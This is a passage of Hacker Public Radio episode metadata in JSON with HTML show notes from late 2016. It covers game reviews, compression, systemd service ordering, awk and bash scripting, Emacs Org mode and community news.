                                                            • hpr2121\n(2016-09-19) \"Dark Cults Tabletop Game\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nJoe on 2016-09-22:\n\"Great Show\"

                                                              \n
                                                            • hpr2127\n(2016-09-27) \"Tabletop Gaming\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nJohn on 2016-09-27:\n\"Game Inspiring\"

                                                              \n
                                                            • hpr2129\n(2016-09-29) \"Gnu Awk - Part 2\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nalpha32 on 2016-09-29:\n\"textbook?\"
                                                              • Comment 2:\nDave Morriss on 2016-09-29:\n\"Re: textbook?\"

                                                              \n
                                                            \n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2132,"date":"2016-10-04","title":"Gloom Tabletop Game","duration":1409,"summary":"Klaatu reviews the card game Gloom","notes":"

                                                            Klaatu reviews the card game “Gloom”, including its strengths, weaknesses, and potential for player mods.

                                                            \n

                                                            https://boardgamegeek.com/boardgame/12692/gloom

                                                            ","hostid":78,"series":95,"explicit":1,"license":"CC-BY-SA","tags":"game,gaming,tabletop,card,boardgame","version":0,"downloads":0,"valid":1}, {"id":2133,"date":"2016-10-05","title":"Compression technology part 1","duration":1200,"summary":"Introduction to data reduction methods: Run-Length-Encoding","notes":"

                                                            \nFax (short for facsimile), sometimes called telecopying or telefax (the latter short for telefacsimile), is the telephonic transmission of scanned printed material (both text and images), normally to a telephone number connected to a printer or other output device. The original document is scanned with a fax machine (or a telecopier), which processes the contents (text or images) as a single fixed graphic image, converting it into a bitmap, and then transmitting it through the telephone system in the form of audio-frequency tones. The receiving fax machine interprets the tones and reconstructs the image, printing a paper copy.[1] Early systems used direct conversions of image darkness to audio tone in a continuous or analog manner. Since the 1980s, most machines modulate the transmitted audio frequencies using a digital representation of the page which is compressed to quickly transmit areas which are all-white or all-black.\n

                                                            \n

                                                            \nhttps://en.wikipedia.org/wiki/Fax\n

                                                            \n

                                                            \nRun-length encoding (RLE) is a very simple form of lossless data compression in which runs of data (that is, sequences in which the same data value occurs in many consecutive data elements) are stored as a single data value and count, rather than as the original run. This is most useful on data that contains many such runs. Consider, for example, simple graphic images such as icons, line drawings, and animations. It is not useful with files that don't have many runs as it could greatly increase the file size.\n

                                                            \n

                                                            \nRLE may also be used to refer to an early graphics file format supported by CompuServe for compressing black and white images, but was widely supplanted by their later Graphics Interchange Format. RLE also refers to a little-used image format in Windows 3.x, with the extension rle, which is a Run Length Encoded Bitmap, used to compress the Windows 3.x startup screen.\n

                                                            \n

                                                            \nTypical applications of this encoding are when the source information comprises long substrings of the same character or binary digit.\n

                                                            \n

                                                            \nhttps://en.wikipedia.org/wiki/Run-length_encoding\n

                                                            ","hostid":343,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"compression","version":0,"downloads":0,"valid":1}, {"id":2134,"date":"2016-10-06","title":"Shutdown Sequence Systemd","duration":888,"summary":"Klaatu demonstrates how to sequence systemd shutdown processes","notes":"

                                                            Set up a service to trigger FIRST (this would be the shutdown service):\n

                                                            \n\n
                                                            \n# cat /lib/systemd/system/fakehalt.service\n\n[Unit]\nDescription=Fake-Halt Service\nAfter=fakevm.service\nRequires=fakevm.service\n\n[Service]\nType=simple\nExecStart=/usr/local/bin/fakehalt.sh #this will fail until fakevm succeeds\nExecReload=/usr/local/bin/fakehalt.sh\n
                                                            \n\n

                                                            \nAnd then set up the one that you want to run and complete BEFORE shutdown is permitted:

                                                            \n\n\n
                                                            \n# cat /lib/systemd/system/fakevm.service\n[Unit]\nDescription=Fake Service\nBefore=fakehalt.service\n\n[Service]\nType=simple\nExecStart=/usr/local/bin/fake.sh\n
                                                            \n\n

                                                            \nCreate a script to represent the VM shutdown (or any process that you cannot anticipate the duration of)

                                                            \n\n
                                                            \n# cat /usr/local/bin/fake.sh\n#!/bin/sh\n\ntest=\"1\"\nsleep 21\nif [ X\"$test\" = \"X1\" ]; then\n    echo \"vm has shut down\" > /tmp/fake.test\n    exit 0\nelse \n    exit 1\nfi\n
                                                            \n\n

                                                            \nAnd a script to pass for a shutdown signal:\n

                                                            \n\n
                                                            \n# cat /usr/local/bin/fakehalt.sh\n#!/bin/sh\n\nsleep 3\ncat /tmp/vmfake.test > /tmp/haltfake.test\n
                                                            \n\n

                                                            \nStart the service you want to happen AFTER the first one:\n

                                                            \n\n
                                                            \n# systemctl start fakehalt\n
                                                            \n\n

                                                            \nWhat \"should\" happen is that fakehalt will fail to find a file called /tmp/fake.test to cat from, and so everything should go horribly wrong.\n

                                                            \nWhat actually happens is that systemd places fakehalt service on hold until it gets an exit 0 signal from the fake service. So if you wait 21 seconds and cat /tmp/fakehalt.test, you see that the cat from a file that did not exist when fakehalt was started - actually succeeded.\n

                                                            \n","hostid":78,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"systemd,service","version":0,"downloads":0,"valid":1}, {"id":2135,"date":"2016-10-07","title":"Audio speedup script","duration":1679,"summary":"I want to speed up some of my podcasts and truncate silence in them too so I wrote a script to do it","notes":"

                                                            Audio speedup script

                                                            \n

                                                            Back in 2015 Ken Fallon did a show (episode 1766) on how to use sox to truncate silence and speed up audio.

                                                            \n

                                                            Inspired by this I wrote a Bash script to aid my use of the technique, which I thought I’d share with you.

                                                            \n

                                                            I have written out detailed notes for this episode describing the script and examining how it works. Click the link to see them.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"bash,sox,speed","version":0,"downloads":0,"valid":1}, {"id":2136,"date":"2016-10-10","title":"Fluxx Tabletop Game","duration":1092,"summary":"Klaatu reviews the card game (Pirate) Fluxx","notes":"

                                                            Klaatu reviews the card game series, Fluxx.

                                                            \n

                                                            https://boardgamegeek.com/geeksearch.php?action=search&objecttype=boardgame&q=fluxx&B1=Go

                                                            \n

                                                            https://en.wikipedia.org/wiki/Fluxx

                                                            \n

                                                            \nFluxx is a card game, played with a specially designed deck published by Looney Labs. It is different from most other card games, in that the rules and the conditions for winning are altered throughout the game, via cards played by the players.\n

                                                            \n","hostid":78,"series":95,"explicit":1,"license":"CC-BY-SA","tags":"game,gaming,tabletop,card,boardgame","version":0,"downloads":0,"valid":1}, {"id":2137,"date":"2016-10-11","title":"Pause All The Things, Sega Genesis","duration":379,"summary":"Learn how to create a hardware pause switch for the sega genesis","notes":"

                                                            \nCorrection, the microcontroller would have to watch the vertical sync, I misspoke.\n

                                                            \n

                                                            \n\"Pausing\n

                                                            \n","hostid":115,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"genesis, pause console","version":0,"downloads":0,"valid":1}, {"id":2138,"date":"2016-10-12","title":"Hack the Box with Bandit","duration":893,"summary":"NYbill talks about a Linux 'War Game' called Bandit.","notes":"

                                                            NYbill talks about a Linux ‘War Game’ called Bandit.

                                                            \n

                                                            https://overthewire.org/wargames/bandit/

                                                            ","hostid":235,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Linux,wargame,Bandit","version":0,"downloads":0,"valid":1}, {"id":2139,"date":"2016-10-13","title":"From Org Mode to LaTeX Beamer to PDF","duration":454,"summary":"My presentation pipeline","notes":"\n

                                                            I have recently been fortunate enough to give a presentation to two conferences, PyCon Australia and Kiwi Pycon, the Australian and New Zealand Python conferences, respectively. I'm not going to give a talk based around the presentation, as it's rather code heavy, and we know that doesn't translate well to an audio medium.

                                                            \n

                                                            Instead, what I wanted to do, was to talk a little bit about the presentation pipeline that I used to prepare this talk. The input is a plain text file, edited in Emacs, using a mode called Org mode. The intermediate form is a LaTeX file, using the document class Beamer which is designed for presentations that are going to be projected. Beamer is apparently the German word for digital projector. The final output form is a plain PDF.

                                                            \n

                                                            HPR isn't known for having many Emacs talks, so I should probably explain the idea of modes. Emacs has major modes and minor modes. For every document that you're editing there's one major mode, and any number of minor modes. So if I was editing a Python file for example, I would have the Python major mode which understands Python and can thus do Python specific things like Python code completion, and I would have a spell checker minor mode to check the spelling of comments, and another minor mode to automatically line wrap comment lines that are very long, and another minor mode to show what line number I'm currently editing, and another minor mode to blink the cursor and so on.

                                                            \n

                                                            The other topic that I haven't heard too much on is LaTeX. LaTex is the venerable typesetting solution for Unix based systems. LaTeX documents have a single document class, and then any number of packages. In the case of my presentation, the document class is Beamer, which sets up all the margins and fonts to be good for presentations. Some of the packages I'm using are the symbols package, for arrows and maths symbols, and several graphics packages so I can draw trees in my slides.

                                                            \n

                                                            I'm fairly comfortable with LaTeX, I could certainly write this presentation directly in LaTeX, but I think there are some advantages in using Org mode to generate my LaTeX instead.

                                                            \n

                                                            As the name suggests, Org mode is designed to be an organisational mode, helping you write TODO lists and organise documents. While the document is just a plain text document that you can read and write with any text editor, the Emacs Org mode understands its own mark up and provides an outlining mode, where you can hide and expand trees of bullet points. The basic layout of a set of slides for a presentation is a tree of bullet points, where the top level bullet points are slides, and the second level of bullet points are lists of information put into each slide.

                                                            \n

                                                            Another mark up that Org mode understands is that of code blocks, so that we can easily say ``this chunk of code is a Python block''. Org mode understands how to export this Python code block as a separate file, run it under Python, and can even insert the output of the program, or the result of a function, back into the original document as a code output block.

                                                            \n

                                                            The advantage of having just one file for my presentation, versus one file for my presentation and a separate file for each code block, is that the code examples in my presentation never get out of sync with the code that I'm actually running. This style of programming where the documentation is the primary document, and the code files are generated, secondary documents, is the inverse of the typical way of programming where the code documents are the primary documents, and documentation, the secondary documents, are automatically generated.

                                                            \n

                                                            This style of programming, where the primary document is documentation is called literate programming. The process of creating the documentation (the PDF in my case) is called weaving. The process of creating the code files is called tangling.

                                                            \n

                                                            I really like having just one file to generate one PDF presentation file, so I'm going to keep using this technique in the future.

                                                            \n

                                                            Now, I have to admit that my presentation is not completely literate, there are some bits of output in my presentation that are copied and pasted, rather than automatically gathered, so I've still got some work to do.

                                                            \n

                                                            Down to brass tacks. The conventional file name extension for Org mode files is dot org. The typical metadata you put in presentations are Author, Email, and Title. In mine I've also added Subtitle and Institute. Now, the interesting one here is Institute, for whatever reason, it's not a piece of metadata that Org mode knows about, but it's really easy to drop down into LaTeX and just use the LaTeX institute command directly.

                                                            \n

                                                            There's a metadata line that Org understands called Options, I request that my presentation has a table of contents, and that all the bullet points of level two become line items in that table of contents. Then I'm straight into the slides. Bullet points at the first level are converted to sections, bullet points at the second level are turned into slides, and anything deeper than that are turned into contents of that slide. I have many code blocks, and I use options that specify what file this code block is tangled to, and to leave the white space alone when the code block is exported, as white space is critical to Python. I also turn on an option that gets line numbers printed for the code blocks. In a couple of places where I want to highlight certain areas of the code, I add labels to the code, then outside the code block I can refer to the label, and LaTeX will replace this with the line number. I think I'd prefer to do this referencing with highlighting, or an arrow or something, but I'm not sure I can do that.

                                                            \n

                                                            Engineering is the process of dealing with tradeoffs to get something done, there are many trade offs when writing code to solve a problem, writing code for slides has quite a different set of tradeoffs, you want code to be easy to read, in terms of using long variable names, but you also need code blocks to contain as few lines as possible, so that you can use a large font size on the projector, and you also don't want to have to split an example across multiple slides if you can help it. I'm also of the view that syntax highlighting is a waste of time, it's just a pretty layer of obfuscation that the mind has to understand, then drop in order to actually see the code. This stance of mine was vindicated when several presenters with syntax highlighted code realised on the day that the projected code was impossible to read due to the low contrast projectors used in a reasonably well lit room.

                                                            \n

                                                            One feature that I would like to add is the ability to reveal new code. It's quite common to have a code block, reveal a problem with it, and display the same code block again, but with a minor change that fixes the previously explained problem. Ideally the old code and new code would be rendered differently, but I don't think that's an option right now. The other thing that I couldn't work out was how to run custom programs on my code blocks, I was wanting to run the Python unit test program, not the Python interpreter, and could not find a way to do that.

                                                            \n

                                                            There's a single command to run inside Emacs to create the output PDF, M-x org-beamer-export-as-pdf.

                                                            \n

                                                            So, overall, I'm very happy with this pipeline. It lets me have a primary document with code snippets, and it lets me have LaTeX snippets wherever I like. It's not perfect, but I'm hoping to find ways to improve it.

                                                            \n

                                                            Links

                                                            \n\n","hostid":315,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"emacs, org mode, LaTeX, Beamer","version":0,"downloads":0,"valid":1}, {"id":2140,"date":"2016-10-14","title":"Vim Plugins I Use","duration":1590,"summary":"In this episode, I talk about vim plugins as I drive home from work","notes":"

                                                            Vim Plugins I Use

                                                            \n\n","hostid":300,"series":82,"explicit":0,"license":"CC-BY-SA","tags":"vim,plugin","version":0,"downloads":0,"valid":1}, {"id":2141,"date":"2016-10-17","title":"Make Web Python with Flask","duration":2193,"summary":"Klaatu talks about Flask, a Python-based web microframework","notes":"

                                                            Klaatu talks about the Python web framework, Flask. Think Ruby-on-Rails but for Python, or a lightweight Django.

                                                            \n

                                                            Links in this show:

                                                            \n\n","hostid":78,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Python,Flask,web framework","version":0,"downloads":0,"valid":1}, {"id":2142,"date":"2016-10-18","title":"Book Reviews","duration":937,"summary":"I take a brief look at two books others may find of interest.","notes":"

                                                            It's been a while since I submitted a show due to time constraints. I was actually feeling pretty bad when I recorded the show, so my voice may not be as loud as usual.

                                                            \n

                                                            The first book I talk about is "Hacker Culture" by Douglas Thomas

                                                            \n

                                                            https://www.amazon.com/Hacker-Culture-Douglas-Thomas/dp/0816633460/ref=sr_1_1?ie=UTF8&qid=1474232379&sr=8-1&keywords=hacker+culture

                                                            \n

                                                            The second book is "A History of Modern Computing" by Paul E. Ceruzzi

                                                            \n

                                                            https://www.amazon.com/History-Modern-Computing-ebook/dp/0262032554/ref=sr_1_1?s=books&ie=UTF8&qid=1474232397&sr=1-1&keywords=history+of+modern+computing

                                                            \n","hostid":325,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Books, Book Reviews, Hacker Culture, History","version":0,"downloads":0,"valid":1}, {"id":2143,"date":"2016-10-19","title":"Gnu Awk - Part 3","duration":1864,"summary":"In this episode, I go into more advanced topics for the awk tool.","notes":"

                                                            Awk Part 3

                                                            \n

                                                            Remember our file:

                                                            \n
                                                            name       color  amount\napple      red    4\nbanana     yellow 6\nstrawberry red    3\ngrape      purple 10\napple      green  8\nplum       purple 2\nkiwi       brown  4\npotato     brown  9\npineapple  yellow 5
                                                            \n

                                                            Replace Grep

                                                            \n

                                                            As we saw in earlier episodes, we can use awk to filter for rows that match a pattern or text. If you know the grep command, you know that it does the same function, but has extended capabilities. For simple filter, you don't need to pipe grep outputs to awk. You can just filter in awk.

                                                            \n

                                                            Logical Operators

                                                            \n

                                                            You can use logical operators "and" and "or" represented as "&&" and "||", respectively. See example:

                                                            \n
                                                            $2 == "purple" && $3 < 5 {print $1}
                                                            \n

                                                            Here, we are selecting for color to to equal "purple" AND amount less than 5.

                                                            \n

                                                            Next command

                                                            \n

                                                            Say we want to flag every record in our file where the amount is greater than or equal to 8 with a '**'. Every record between 5 (inclusive) and 8, we want to flag with a '*'. We can use consecutive filter commands, but there affects will be additive. To remedy this, we can use the "next" command. This tells awk that after the action is taken, proceed to the next record. See the following example:

                                                            \n
                                                            NR == 1 {\n  print $0;\n  next;\n}\n\n$3 >= 8 {\n  printf "%s\\t%s\\n", $0, "**";\n  next;\n}\n\n$3 >= 5 {\n  printf "%s\\t%s\\n", $0, "*";\n  next;\n}\n\n$3 < 5 {\n  print $0;\n}
                                                            \n

                                                            End Command

                                                            \n

                                                            The "BEGIN" and "END" commands allow you to do actions before and after awk does its actions. For instance, sometimes we want to evaluate all records, then print the cumulative results. In this example, we pipe the output of the df command into awk. Our command is:

                                                            \n
                                                            df -l | awk -f end.awk
                                                            \n

                                                            Our awk file looks like this:

                                                            \n
                                                            $1 != "tmpfs" {\n    used += $3;\n    available += $4;\n}\n\nEND {\n    printf "%d GiB used\\n%d GiB available\\n", used/2^20, available/2^20;\n}
                                                            \n

                                                            Here, we are setting two variables, "used" and "available". We add the records in the respective columns all together, then we print the totals.

                                                            \n

                                                            In the next example, we create a distinct list of colors from our file:

                                                            \n
                                                            NR != 1 {\n    a[$2]++\n}\nEND {\n    for (b in a) {\n        print b\n    }\n}
                                                            \n

                                                            This is a more advanced script. The details of which, we will get into in future episodes.

                                                            \n

                                                            BEGIN command

                                                            \n

                                                            Like stated above, the begin command lets us print and set variables before the awk command starts. For instance, we can set the input and output field separators inside our awk file as follows:

                                                            \n
                                                            BEGIN {\n    FS=",";\n    OFS=",";\n    print "color,count";\n}\nNR != 1 {\n    a[$2]+=1;\n}\nEND {\n    for (b in a) {\n        print b, a[b]\n    }\n}
                                                            \n

                                                            In this example, we are finding the distinct count of colors in our csv file, and format the output in csv format as well. We will get into the details of how this script works in future episodes.

                                                            \n

                                                            For another example, instead of distinct count, we can get the sum of the amount column grouped by color:

                                                            \n
                                                            BEGIN {\n    FS=",";\n    OFS=",";\n    print "color,sum";\n}\nNR != 1 {\n    a[$2]+=$3;\n}\nEND {\n    for (b in a) {\n        print b, a[b]\n    }\n}
                                                            \n","hostid":300,"series":94,"explicit":0,"license":"CC-BY-SA","tags":"awk,bash,linux","version":0,"downloads":0,"valid":1}, {"id":2144,"date":"2016-10-20","title":"An Interview with All About Code at Manchester BarCamp","duration":479,"summary":"This is a follow up interview with Josh as he has been busy since I last interviewed him ","notes":"

                                                            This is a follow up interview with Joshua Lowe as he has been very busy developing further python tools for the Raspberry Pi

                                                            \n

                                                            https://www.allaboutcode.co.uk/

                                                            \n

                                                            The interview took place at BarCamp Manchester https://www.barcampmanchester.co.uk/ on the 24th September 2016 after he had done a talk about EduBlocks his new project for programming in Python and part of his Edupython project.

                                                            \n

                                                            https://www.edupython.co.uk/

                                                            \n

                                                            Josh will be at https://mozillafestival.org/ at the end of October and will be presenting his project again.

                                                            \n

                                                            Links

                                                            \n\n","hostid":338,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"BarCamp Manchester,Python,EduPython,EduBlocks,Raspberry Pi","version":0,"downloads":0,"valid":1}, {"id":2145,"date":"2016-10-21","title":"Daily notes and todo list with markdown","duration":1490,"summary":"How I use markdown and git to keep up with what I do","notes":"

                                                            Using Markdown and git to store your todo list and daily journal

                                                            \n
                                                            Why markdown
                                                            \n
                                                              \n
                                                            • No distractions
                                                            • \n
                                                            • Simple syntax
                                                            • \n
                                                            • Plain text, Human readable.
                                                            • \n
                                                            • Inline HTML
                                                            • \n
                                                            • Easy conversion to other formats
                                                            • \n
                                                            \n
                                                            Why git
                                                            \n
                                                              \n
                                                            • Any SCM probably OK
                                                            • \n
                                                            • Github and Gitlab render markdown.
                                                            • \n
                                                            \n
                                                            The todo page
                                                            \n
                                                                # TODO\n\n    ### Can do now\n    * Bullet 1\n    * Bullet 2\n\n    ### Near term\n    1. Numbered 1\n    1. Numbered 2\n\n    ### Long term
                                                            \n
                                                            The journal script
                                                            \n
                                                                DAILYFILE="/Users/norrist/Projects/todo/daily/$(/bin/date +%F).md"\n    DAILYPATH="/Users/norrist/Projects/todo/daily/"\n    LOCKFILE="/Users/norrist/Projects/todo/daily/LOCK"\n    TODOFILE="/Users/norrist/Projects/todo/todo.md"\n\n    if [ -f $LOCKFILE ]\n        then\n            echo "$LOCKFILE PRESENT - ABORTING"\n            read -n1 -p "Remove and Continue? [y,n]" doit\n                case $doit in\n                    y|Y) echo "Continuing with $LOCKFILE PRESENT" ;;\n                    *) exit 1 ;;\n                esac\n\n\n        else\n            echo "NO LOKCFILE"\n            touch $LOCKFILE\n\n    fi\n\n\n    if [ -f $DAILYFILE ]\n        then\n            echo "$DAILYFILE exists"\n        else\n            echo  >> $DAILYFILE\n            echo  "-----">> $DAILYFILE\n            echo "# $(/bin/date +%F)" >> $DAILYFILE\n            echo  >> $DAILYFILE\n            echo "### Projects" >> $DAILYFILE\n            echo  >> $DAILYFILE\n            echo "### Tickets" >> $DAILYFILE\n            echo  >> $DAILYFILE\n            echo "### Walkups" >> $DAILYFILE\n    fi\n\n    /usr/local/bin/edit -w --new-window $DAILYFILE\n    /opt/local/bin/aspell -c $DAILYFILE\n    /opt/local/bin/aspell -c $TODOFILE\n\n    rm $LOCKFILE\n    rm $DAILYPATH/README.md\n\n    cat $TODOFILE >> $DAILYPATH/README.md\n\n    for f in $(ls  -r $DAILYPATH/2*md)\n     do cat $f >> $DAILYPATH/README.md\n     echo >>$DAILYPATH/README.md\n     done\n\n    cd /Users/norrist/Projects/todo; /usr/bin/git add . && /usr/bin/git commit -m "$(date)" && /usr/bin/git push origin master
                                                            \n

                                                            Daily file template

                                                            \n
                                                                # 2016-08-02\n\n    -----\n\n    ### Projects\n\n    ### Tickets\n\n    ### Walkups
                                                            \n
                                                            aspell is awesome
                                                            \n","hostid":342,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Markdown,git,Bash","version":0,"downloads":0,"valid":1}, {"id":2146,"date":"2016-10-24","title":"Cards Against Humanity Tabletop Game","duration":1231,"summary":"Klaatu reviews Cards Against Humanity","notes":"

                                                            Klaatu reviews the tabletop game, Cards Against Humanity. This is a non-offensive episode, so you can listen to it regardless of your feelings about the game.

                                                            \n","hostid":78,"series":95,"explicit":1,"license":"CC-BY-SA","tags":"game,gaming,tabletop game,card,boardgame","version":0,"downloads":0,"valid":1}, {"id":2147,"date":"2016-10-25","title":"Glass cutting bottles","duration":857,"summary":"You may have seen vases made from bottles and wondered how they cut the glass.","notes":"

                                                            https://www.amazon.com/Diamond-Tech-Crafts-Bottle-Cutter/dp/B004ZRV3AU/ref=sr_1_8?ie=UTF8&qid=147568599%204&sr=8-8&keywords=Glass+++Bottle+Cutters+++++Tool

                                                            \n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"glass,glass cutting,bottle cutting","version":0,"downloads":0,"valid":1}, {"id":2148,"date":"2016-10-26","title":"The DSO138 Oscilloscope Kit Part 2","duration":791,"summary":"In this episode NYbill talks about finishing the DSO138 Oscilloscope kit.","notes":"

                                                            \nIn this episode NYbill talks about finishing the DSO138 Oscilloscope kit.\n

                                                            \n

                                                            \nThe DSO138 Oscilloscope Kit (part 1)\n

                                                            \n\n\n\n

                                                            \n3D printable case:\n

                                                            \n\n\n\n

                                                            \nThe kit with pre-soldered SMD parts:\n

                                                            \n\n\n\n

                                                            \nWithout pre-soldered parts:\n

                                                            \n\n\n\n

                                                            \nThe forums:\n

                                                            \n\n\n\n

                                                            \nPics for the episode:\n

                                                            \n\n","hostid":235,"series":103,"explicit":0,"license":"CC-BY-SA","tags":"electronics,oscilloscope,kit,3D printing","version":0,"downloads":0,"valid":1}, {"id":2149,"date":"2016-10-27","title":"What is in my Pentesting Bag?","duration":1042,"summary":"I go over some of the items I use for my technical testing","notes":"\n","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"penetration testing,tools","version":0,"downloads":0,"valid":1}, {"id":2150,"date":"2016-10-28","title":"Apollo Guidance Computer","duration":4381,"summary":"Francois Rautenbach tell us how he is hacking 50 year old computers","notes":"

                                                            \nIn this episode Ken chats with Francois Rautenbach who extracted the software from the Rope Memory modules of the long lost Apollo Guidance Computer used in Flight AS-202.\n

                                                            \n\"the\n

                                                            Links:

                                                            \n\n","hostid":30,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"Apollo, Space, Rope memory","version":0,"downloads":0,"valid":1}, {"id":2151,"date":"2016-10-31","title":"BarCamp Manchester part 2","duration":541,"summary":"An interview with the Organiser and one of the sponsors of the Event","notes":"

                                                            \nAn Interview with Claire Dodd, the organiser of BarCamp Manchester\n

                                                            \n\n\n\n

                                                            \nAn Interview with Damion of Layershift Hosting, one of the sponsors of BarCamp Manchester\n

                                                            \n\n\n","hostid":338,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"BarCamp Manchester","version":0,"downloads":0,"valid":1}, {"id":2152,"date":"2016-11-01","title":"Apples to Apples Tabletop Game","duration":821,"summary":"Klaatu reviews Apples to Apples, a tabletop card game","notes":"

                                                            Klaatu reviews and ponders the game mechanics of Apples to Apples, and how they do and do not compare to Cards Against Humanity.

                                                            \n","hostid":78,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"game,gaming,tabletop game,card","version":0,"downloads":0,"valid":1}, {"id":2153,"date":"2016-11-02","title":"Splitting a Block of Bees Wax","duration":1101,"summary":"I need to split a block of bees wax","notes":"

                                                            \nI need to cut a block of wax...
                                                            \nI use a heat gun, some string, and a knife...
                                                            \nAlso some ramblings about other stuff.
                                                            \n

                                                            \n

                                                            \n\"photo\n

                                                            \n","hostid":329,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"heat, cutting, diy","version":0,"downloads":0,"valid":1}, {"id":2154,"date":"2016-11-03","title":"Replacing a Bicycle Brake Cable","duration":1769,"summary":"I replace the brake cable and housing on my 1985 Schwinn","notes":"

                                                            Part of my series of fixing stuff and wearing a microphone while I do it, listen along as I replace the brake cable and housing on my bicycle. For information about the tools I'm using, check out my earlier episode about the tools in my bicycle repair toolbox. Check the Flickr photo album below for pictures to go along with the narrative. Sorry I kept sniffling so much. Allergies were terrible. The church bells in the background are from Our Lady of Fatima Church, which is nearby. I remember Dave wondered about the church bells from a previous episode.

                                                            \n\n

                                                            \"Bicycle

                                                            \n\n

                                                            Links

                                                            \n\n\n","hostid":238,"series":115,"explicit":0,"license":"CC-BY-SA","tags":"DIY, bicycles, brakes, repairs, bicycle maintenance, bikes","version":0,"downloads":0,"valid":1}, {"id":2155,"date":"2016-11-04","title":"Ohio LinuxFest 2016","duration":1124,"summary":"My experience of Ohio LinuxFest 2016","notes":"

                                                            Ohio LinuxFest is an annual Linux and Open Source conference held in the fall in Columbus, Ohio, USA. This year it happened on October 7-8, and I was not only an attendee, but a speaker. This program is about my experiences there this year.

                                                            ","hostid":198,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Open Source, Linux","version":0,"downloads":0,"valid":1}, {"id":2156,"date":"2016-11-07","title":"HPR Community News for October 2016","duration":4628,"summary":"HPR Community News for October 2016","notes":"\n

                                                            New hosts

                                                            \n

                                                            \nWelcome to our new host:
                                                            \n The Bishop.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            2131Mon2016-10-03HPR Community News for September 2016HPR Volunteers
                                                            2132Tue2016-10-04Gloom Tabletop Gameklaatu
                                                            2133Wed2016-10-05Compression technology part 1The Bishop
                                                            2134Thu2016-10-06Shutdown Sequence Systemdklaatu
                                                            2135Fri2016-10-07Audio speedup scriptDave Morriss
                                                            2136Mon2016-10-10Fluxx Tabletop Gameklaatu
                                                            2137Tue2016-10-11Pause All The Things, Sega Genesissigflup
                                                            2138Wed2016-10-12Hack the Box with BanditNYbill
                                                            2139Thu2016-10-13From Org Mode to LaTeX Beamer to PDFClinton Roy
                                                            2140Fri2016-10-14Vim Plugins I UseMr. Young
                                                            2141Mon2016-10-17Make Web Python with Flaskklaatu
                                                            2142Tue2016-10-18Book Reviewsm1rr0r5h4d35
                                                            2143Wed2016-10-19Gnu Awk - Part 3Mr. Young
                                                            2144Thu2016-10-20An Interview with All About Code at Manchester BarCampTony Hughes AKA TonyH1212
                                                            2145Fri2016-10-21Daily notes and todo list with markdownnorrist
                                                            2146Mon2016-10-24Cards Against Humanity Tabletop Gameklaatu
                                                            2147Tue2016-10-25Glass cutting bottlesoperat0r
                                                            2148Wed2016-10-26The DSO138 Oscilloscope Kit Part 2NYbill
                                                            2149Thu2016-10-27What is in my Pentesting Bag?operat0r
                                                            2150Fri2016-10-28Apollo Guidance ComputerKen Fallon
                                                            2151Mon2016-10-31BarCamp Manchester part 2Tony Hughes AKA TonyH1212
                                                            \n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available in the archives run\nexternally by Gmane\n(see below) and on the HPR server under Mailman.\n

                                                            \n

                                                            Note: since the summer of 2016 Gmane has changed location and is currently\nbeing reestablished. At the moment the HPR archive is not available there.

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2016-October/thread.html\n\n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.
                                                            \nThere are 30 comments in total.

                                                            \n

                                                            There are 10 comments on\n7 previous shows:

                                                            \n
                                                            • hpr2042\n(2016-05-31) \"My podcast list\"\nby janedoc.
                                                            • \n
                                                            • \n
                                                              • Comment 4:\nelmussol on 2016-10-04:\n\"Re: Joyce\"

                                                              \n
                                                            • hpr2074\n(2016-07-14) \"Experience With A Neighborhood Cat\"\nby brian.
                                                            • \n
                                                            • \n
                                                              • Comment 3:\nAnother Frank on 2016-10-08:\n\"Touching\"

                                                              \n
                                                            • hpr2121\n(2016-09-19) \"Dark Cults Tabletop Game\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                              • Comment 2:\nnotklaatu on 2016-10-02:\n\"Re: Great Show\"
                                                              • Comment 3:\nrtsn on 2016-10-12:\n\"!\"

                                                              \n
                                                            • hpr2125\n(2016-09-23) \"My mobile recording solution\"\nby Alpha32.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nalpha32 on 2016-10-06:\n\"creeper van\"

                                                              \n
